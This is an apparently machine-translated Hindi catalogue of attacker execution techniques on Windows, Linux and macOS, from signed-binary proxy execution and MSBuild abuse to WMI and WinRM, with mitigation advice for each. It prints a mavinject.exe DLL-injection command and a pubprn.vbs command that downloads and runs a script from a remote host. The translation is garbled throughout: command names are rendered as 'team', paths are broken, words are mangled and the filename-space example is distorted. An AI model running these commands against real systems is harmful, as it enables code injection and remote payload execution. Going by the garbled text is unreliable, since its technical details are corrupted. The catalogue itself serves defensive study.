सुरक्षा सिफारिशें:सुनिश्चित करें कि सिस्टम पर वर्तमान विशेषाधिकार सेटिंग कम विशेषाधिकार वाले उपयोगकर्ताओं से उच्च विशेषाधिकार के साथ सेवाओं के लॉन्च पर रोक लगाती है। सुनिश्चित करें कि सिस्टम पर उच्च अनुमतियों के साथ निष्पादन योग्य फ़ाइलों को कम अनुमतियों वाले उपयोगकर्ताओं द्वारा प्रतिस्थापित या संशोधित नहीं किया जा सकता है। AppLocker का उपयोग करके संभावित खतरनाक कार्यक्रमों के लॉन्च को प्रतिबंधित करने और सॉफ़्टवेयर प्रतिबंध नीतियों को कॉन्फ़िगर करने के लिए उपकरणों का उपयोग करने पर विचार करें ।

हस्ताक्षरित द्विआधारी प्रॉक्सी निष्पादन के माध्यम से निष्पादन

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: विश्वसनीय डिजिटल प्रमाणपत्रों के साथ हस्ताक्षरित बाइनरी फाइलें विंडोज सिस्टम पर चलाई जा सकती हैं जो डिजिटल हस्ताक्षर सत्यापन द्वारा संरक्षित हैं। विंडोज़ की स्थापना के दौरान डिफ़ॉल्ट रूप से हस्ताक्षरित कई Microsoft फ़ाइलों का उपयोग अन्य फ़ाइलों के लॉन्च को प्रॉक्सी करने के लिए किया जा सकता है:
Mavinject.exe एक विंडोज़ उपयोगिता है जो कोड को निष्पादित करने की अनुमति देता है। Mavinject का उपयोग DLL को रनिंग प्रोसेस में दर्ज करने के लिए किया जा सकता है:
"C: \ Program Files \ Common Files \ microsoft साझा \ ClickToRun \ MavInject32.exe" [PID] / INJECTRUNNING [PATH DLL]
C: \ Windows \ system32 \ mavinject.exe [PID] ] / INJECTRUNNING [पथ DLL]
SyncAppvPublishingServer.exe- शक्तियाँ चलाने के लिए पॉवरशेल स्क्रिप्ट चलाने के लिए इस्तेमाल किया जा सकता है।
अभी भी कर रहे हैं कुछ इसी तरह की बाइनरी ।

सुरक्षा सिफारिशें: कई हस्ताक्षरित फाइलें आपके सिस्टम पर उपयोग नहीं की जा सकती हैं, इसलिए उनके लॉन्च को अवरुद्ध करने पर विचार करें।

हस्ताक्षरित लिपियों के माध्यम से निष्पादन (हस्ताक्षरित स्क्रिप्ट प्रॉक्सी निष्पादन)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: विश्वसनीय प्रमाणपत्रों के साथ हस्ताक्षरित लिपियों का उपयोग दुर्भावनापूर्ण फ़ाइलों को प्रॉक्सी करने के लिए किया जा सकता है, उदाहरण के लिए, PubPrn.vbs को Microsoft प्रमाणपत्र के साथ हस्ताक्षरित किया जाता है और इसका उपयोग दूरस्थ सर्वर से फ़ाइल चलाने के लिए किया जा सकता है:
cscript C: \ Windows \ System32 \ Printing_Admin_Scripts ru-RU \ pubprn.vbs 127.0.0.1 स्क्रिप्ट: http [:] // 192.168.1.100/hi.png

सुरक्षा अनुशंसाएँ: आपके सिस्टम पर ऐसी हस्ताक्षरित स्क्रिप्ट की आवश्यकता नहीं हो सकती है, इसलिए उनके लॉन्च को अवरुद्ध करने पर विचार करें।

स्रोत टीम

सिस्टम: लिनक्स और मैकओएस
अधिकार: उपयोगकर्ता
विवरण: स्रोत - एक कमांड जो आपको वर्तमान कमांड शेल में निर्दिष्ट फ़ाइल से सभी कमांड को पढ़ने और निष्पादित करने की अनुमति देता है, जिसका अर्थ है कि सभी निर्दिष्ट पर्यावरण चर सभी स्क्रिप्ट और कमांड में दिखाई देंगे जो लॉन्च किए जाएंगे। स्रोत को दो तरीकों से शुरू किया जा सकता है:
स्रोत / पथ / से / फ़ाइल नाम [तर्क] या । / पथ / से / फ़ाइल नाम [तर्क]
अवधि के बाद अंतरिक्ष पर ध्यान दें। अंतरिक्ष के बिना, कार्यक्रम को एक नए कमांड शेल में लॉन्च किया जाएगा। हमलावर निष्पादन योग्य फ़ाइलों के रूप में "x" ध्वज के साथ चिह्नित फ़ाइलों को निष्पादित करने के लिए स्रोत का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें: सिस्टम में अंतर्निहित कमांड के उपयोग को रोकने के लिए उनकी वैधता के कारण काफी मुश्किल है, इसलिए, सुरक्षा वेक्टर को हमले के पहले चरणों में दुर्भावनापूर्ण कार्यों को रोकने के लिए निर्देशित किया जाना चाहिए, उदाहरण के लिए, सिस्टम में वितरण या दुर्भावनापूर्ण फ़ाइल के निर्माण के चरण में।

फिल्नाम के बाद का स्थान

सिस्टम: लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण:हमलावर इसका एक्सटेंशन बदलकर फ़ाइल के असली प्रकार को छिपा सकते हैं। कुछ प्रकार की फ़ाइलों के लिए (.app फ़ाइलों के साथ काम नहीं करता है), फ़ाइल नाम के अंत में एक अंतरिक्ष वर्ण जोड़ने से फ़ाइल को ऑपरेटिंग सिस्टम द्वारा संसाधित करने के तरीके में बदलाव होगा। उदाहरण के लिए, अगर कोई निष्पादन योग्य फ़ाइल Mach-O है, जिसका नाम bad.bin है, तो जब उपयोगकर्ता डबल-क्लिक करता है, तो OS टर्मिनल.app लॉन्च करेगा और उसे निष्पादित करेगा। यदि उसी फ़ाइल का नाम बदनाम कर दिया जाता है। तो इसे डबल क्लिक के साथ टेक्स्ट एडिटर में शुरू किया जाएगा। हालाँकि, यदि फ़ाइल का नाम बदलकर "bad.txt" (अंत में स्थान) है, तो सही फ़ाइल के प्रकार पर डबल-क्लिक करने से, OS निर्धारित हो जाएगा और बाइनरी फ़ाइल शुरू हो जाएगी। एक दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल लॉन्च करने में उपयोगकर्ता को धोखा देने के लिए हमलावर इस तकनीक का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें:इस तकनीक का उपयोग रोकना मुश्किल है क्योंकि एक हमलावर ओएस के मानक ऑपरेटिंग तंत्र का उपयोग करता है, इसलिए, सुरक्षा वेक्टर को हमले के पहले चरणों में दुर्भावनापूर्ण कार्यों को रोकने के लिए निर्देशित किया जाना चाहिए, उदाहरण के लिए, वितरण के चरण में या सिस्टम में एक दुर्भावनापूर्ण फ़ाइल के निर्माण के लिए।

तृतीय-पक्ष नेटवर्क प्रशासन सॉफ़्टवेयर (तृतीय-पक्ष सॉफ़्टवेयर) का उपयोग कर निष्पादन

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, प्रशासक, सिस्टम
विवरण: हमला वेक्टर को तृतीय-पक्ष सॉफ़्टवेयर और सॉफ़्टवेयर परिनियोजन सिस्टम के लिए निर्देशित किया जाता है जो कि प्रशासनिक उद्देश्यों (SCCM, VNC, HBSS, Altris, आदि) के लिए हमले वाले नेटवर्क में उपयोग किए जाते हैं। यदि कोई हमलावर ऐसी प्रणालियों तक पहुँच प्राप्त करता है, तो सॉफ्टवेयर तैनाती प्रणाली से जुड़े सभी होस्ट पर विरोधी दूर से कोड चलाने में सक्षम है। इस तकनीक को लागू करने के लिए आवश्यक अधिकार विशेष सिस्टम कॉन्फ़िगरेशन पर निर्भर करते हैं। सॉफ्टवेयर की तैनाती सर्वर तक पहुंचने के लिए स्थानीय क्रेडेंशियल पर्याप्त हो सकते हैं; हालांकि, सॉफ्टवेयर तैनाती शुरू करने के लिए एक व्यवस्थापक खाते की आवश्यकता हो सकती है।

सुरक्षा सिफारिशें:अपने सॉफ़्टवेयर परिनियोजन सिस्टम के सुरक्षा स्तर की जाँच करें। सुनिश्चित करें कि सॉफ्टवेयर प्रबंधन प्रणालियों तक पहुंच सीमित, नियंत्रित और संरक्षित है। दूरस्थ सॉफ़्टवेयर परिनियोजन के लिए अनिवार्य पूर्व-अनुमोदन नीतियों का सख्ती से उपयोग करें। सीमित संख्या में व्यवस्थापकों के लिए सॉफ़्टवेयर परिनियोजन सिस्टम तक पहुँच प्रदान करना, सॉफ़्टवेयर परिनियोजन प्रणाली का अलगाव सुनिश्चित करना। सुनिश्चित करें कि सॉफ़्टवेयर परिनियोजन प्रणाली तक पहुँच के लिए क्रेडेंशियल्स अद्वितीय हैं और कॉर्पोरेट नेटवर्क पर अन्य सेवाओं में उपयोग नहीं किए जाते हैं। यदि सॉफ़्टवेयर परिनियोजन सिस्टम केवल हस्ताक्षरित बाइनरी फ़ाइलों को चलाने के लिए कॉन्फ़िगर किया गया है, तो सत्यापित करें कि विश्वसनीय प्रमाण पत्र सॉफ़्टवेयर परिनियोजन सिस्टम में ही संग्रहीत नहीं हैं, लेकिन एक ऐसे सिस्टम पर स्थित हैं जिसे दूरस्थ रूप से एक्सेस नहीं किया जा सकता है।

ट्रैप टीम

सिस्टम: लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता, व्यवस्थापक
विवरण: ट्रैप कमांड का उपयोग स्क्रिप्ट को रुकावट (ctrl + c, ctrl + d, ctrl + z, आदि) से बचाने के लिए किया जाता है। यदि स्क्रिप्ट ट्रैप कमांड के तर्कों में निर्दिष्ट एक व्यवधान संकेत प्राप्त करता है, तो यह अपने आप ही रुकावट सिग्नल को संसाधित करता है, जबकि शेल इस तरह के सिग्नल को संसाधित नहीं करेगा। हमलावर कोड को पंजीकृत करने के लिए जाल का उपयोग कर सकते हैं जो कि शेल को कुछ रुकावट संकेतों को प्राप्त करने पर निष्पादित किया जाएगा।

सुरक्षा सिफारिशें:इस तकनीक का उपयोग रोकना मुश्किल है, क्योंकि हमलावर ओएस के मानक तंत्र का उपयोग करता है। सुरक्षा वेक्टर को हमले के पहले चरणों में दुर्भावनापूर्ण कार्यों को रोकने के उद्देश्य से होना चाहिए, उदाहरण के लिए, वितरण के चरण में या सिस्टम में एक दुर्भावनापूर्ण फ़ाइल का निर्माण।

विश्वसनीय डेवलपर उपयोगिताओं के माध्यम से चल रहा है

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: कई उपयोगिताओं हैं जो सॉफ्टवेयर डेवलपर्स द्वारा उपयोग किए जाते हैं और जिनका उपयोग सॉफ्टवेयर विकास, डिबगिंग और रिवर्स इंजीनियरिंग के दौरान विभिन्न रूपों में कोड निष्पादित करने के लिए किया जा सकता है। इन उपयोगिताओं को अक्सर डिजिटल प्रमाणपत्रों के साथ हस्ताक्षरित किया जाता है जो उन्हें सुरक्षा तंत्र और अनुप्रयोगों की सफेद शीट को दरकिनार करके ओएस में दुर्भावनापूर्ण कोड की अनुमति देता है।

MSBulidएक सॉफ्टवेयर डेवलपमेंट प्लेटफ़ॉर्म है जिसका उपयोग Visual Studio में किया जाता है। यह XML फ़ाइलों के रूप में परियोजनाओं का उपयोग करता है जो विभिन्न प्लेटफार्मों और कॉन्फ़िगरेशन के निर्माण के लिए आवश्यकताओं का वर्णन करता है। .NET संस्करण 4 से MSBuild आपको एक XML प्रोजेक्ट में C # कोड डालने, उसे संकलित करने और फिर निष्पादित करने की अनुमति देता है। MSBulid.exe Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित है।
DNX - .Net निष्पादन Environmant (dnx.exe) विज़ुअल स्टूडियो एंटरप्राइज के लिए एक विकास किट है। 2016 में .NET कोर CLI के बाद से बंद। DNX मानक विंडोज बिल्ड से गायब है और केवल .net Core और ASP.NET Core 1.0 का उपयोग करने पर डेवलपर होस्ट पर मौजूद हो सकता है। Dnx.exe डिजिटल रूप से हस्ताक्षरित है और इसका उपयोग प्रॉक्सी कोड निष्पादन के लिए किया जा सकता है।
RCSIcsi.exe के समान C # के लिए गैर-इंटरैक्टिव कमांड लाइन इंटरफ़ेस। इसे रोजलिन .नेट कंपाइलर प्लेटफॉर्म के पुराने संस्करण में पेश किया गया था। Rcsi.exe Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित है। C # .csx स्क्रिप्ट फ़ाइलों को Windows कमांड प्रॉम्प्ट पर Rcsi.exe का उपयोग करके लिखा और निष्पादित किया जा सकता है।
WinDbg / CDB एमएस विंडोज कर्नेल और उपयोगकर्ता-मोड में डीबगिंग के लिए एक उपयोगिता है। Microsoft कंसोल डीबगर cdb.exe भी एक उपयोगकर्ता-मोड डीबगर है। दोनों उपयोगिताओं को स्टैंडअलोन टूल के रूप में उपयोग किया जा सकता है। आमतौर पर सॉफ्टवेयर विकास, रिवर्स इंजीनियरिंग, और नियमित विंडोज सिस्टम पर नहीं पाया जा सकता है। WinDbg.exe और CDB.exe दोनों फ़ाइलों को Microsoft डिजिटल प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है और इसका उपयोग प्रॉक्सी कोड के लिए किया जा सकता है।
ट्रैकर- tracker.exe फ़ाइल ट्रैकिंग उपयोगिता। MSBuild के भाग के रूप में .NET में शामिल हैं। विंडोज 10 फ़ाइल सिस्टम में कॉल रजिस्टर करने के लिए उपयोग किया जाता है। हमलावर विभिन्न प्रक्रियाओं में DLL निष्पादित करने के लिए tracker.exe का उपयोग कर सकते हैं। Tracker.exe भी एक Microsoft प्रमाणपत्र के साथ हस्ताक्षरित है।

सुरक्षा सिफारिशें: उपर्युक्त सभी फाइलों को सिस्टम से हटा दिया जाना चाहिए, यदि वे उपयोगकर्ताओं द्वारा उनके इच्छित उद्देश्य के लिए उपयोग नहीं की जाती हैं।

उपयोगकर्ता निष्पादन

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: हमलावर कुछ कार्यों को करने के लिए उपयोगकर्ता के कुछ कार्यों पर भरोसा कर सकते हैं। जब उपयोगकर्ता किसी आइकन और दृश्य दस्तावेज़ फ़ाइल एक्सटेंशन के साथ फ़िशिंग अनुलग्नक के रूप में वितरित एक दुर्भावनापूर्ण निष्पादन योग्य फ़ाइल खोलता है, तो यह प्रत्यक्ष कोड निष्पादन हो सकता है। कभी-कभी, अन्य तकनीकों का उपयोग किया जा सकता है, उदाहरण के लिए, जब कोई उपयोगकर्ता फ़िशिंग ईमेल में एक लिंक पर क्लिक करता है, जिससे ब्राउज़र भेद्यता का शोषण होता है। "उपयोगकर्ता निष्पादन" तकनीक का उपयोग अक्सर आक्रमण के अन्य चरणों में किया जाता है, उदाहरण के लिए, जब कोई हमलावर किसी साझा निर्देशिका में या उपयोगकर्ता के डेस्कटॉप पर एक फ़ाइल रखता है, तो यह उम्मीद करता है कि वह उस पर "क्लिक" करता है।

संरक्षण युक्तियाँ : उपयोगकर्ता जागरूकता बढ़ाएँ। फ़ाइलों के डाउनलोड को अवरुद्ध करना। जैसे .scr, .exe, .pif, .cpl, आदि। एंटीवायरस सॉफ़्टवेयर का उपयोग और IPS सिस्टम के कार्यान्वयन।

विंडोज मैनेजमेंट इंस्ट्रूमेंटेशन (WMI)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: WMI विंडोज को प्रशासित करने के लिए एक उपकरण है, जो विंडोज सिस्टम घटकों के लिए स्थानीय और दूरस्थ पहुंच प्रदान करता है। WMI SMB और RPCS (पोर्ट 135 पर रन) का उपयोग करता है। हमलावर स्थानीय और दूरदराज के सिस्टम के साथ बातचीत करने के लिए WMI का उपयोग कर सकते हैं, और कई सामरिक कार्यों को करने के साधन के रूप में, जैसे कि संसाधन समीक्षा (खोज) के चरण में जानकारी इकट्ठा करना और "शाब्दिक आंदोलन" के दौरान दूरस्थ फ़ाइल निष्पादन।

सुरक्षा सिफारिशें:WMI और RPCS को अक्षम करने से सिस्टम अस्थिरता हो सकती है। डिफ़ॉल्ट रूप से, केवल व्यवस्थापक WMI के माध्यम से सिस्टम से दूरस्थ रूप से कनेक्ट कर सकते हैं। प्रशासनिक और अन्य विशेषाधिकार प्राप्त खातों के बीच विशेषाधिकारों के दोहराव को रोकें।

विंडोज रिमोट मैनेजमेंट (WinRM)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: विंडोज रिमोट मैनेजमेंट (WinRM) एक सेवा और प्रोटोकॉल का नाम है जो सिस्टम के साथ दूरस्थ उपयोगकर्ता इंटरैक्शन की अनुमति देता है (उदाहरण के लिए, एक फ़ाइल लॉन्च करना, रजिस्ट्री बदलना, एक सेवा बदलना। शुरू करने के लिए, winrm कमांड और अन्य कार्यक्रमों का उपयोग करें। ।, इस तरह के PowerShell के रूप में

संरक्षण पर सलाह: अक्षम WinRM सेवा करता है, तो यह आवश्यक है, अलग-अलग खातों और अनुमति के साथ बचाने के बुनियादी ढांचे WinRM होना चाहिए .. WinRM सिफारिशों प्रमाणीकरण तरीकों और उपयोग की स्थापना पर randmauerov मेजबान केवल खास डिवाइस के साथ WinRM एक्सेस करने के लिए।